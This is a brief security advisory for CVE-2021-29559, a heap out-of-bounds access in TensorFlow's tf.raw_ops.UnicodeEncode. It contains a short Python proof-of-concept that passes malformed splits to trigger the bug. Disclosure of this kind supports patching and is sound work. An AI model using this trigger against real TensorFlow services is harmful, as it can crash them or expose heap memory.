CVE-2021-29559: Heap OOB access in unicode ops
(updated )
An attacker can access data outside of bounds of heap allocated array in tf.raw_ops.UnicodeEncode:
import tensorflow as tf
input_values = tf.constant([58], shape=[1], dtype=tf.int32)
input_splits = tf.constant([[81, 101, 0]], shape=[3], dtype=tf.int32)
output_encoding = "UTF-8"
tf.raw_ops.UnicodeEncode(
input_values=input_values, input_splits=input_splits,
output_encoding=output_encoding)
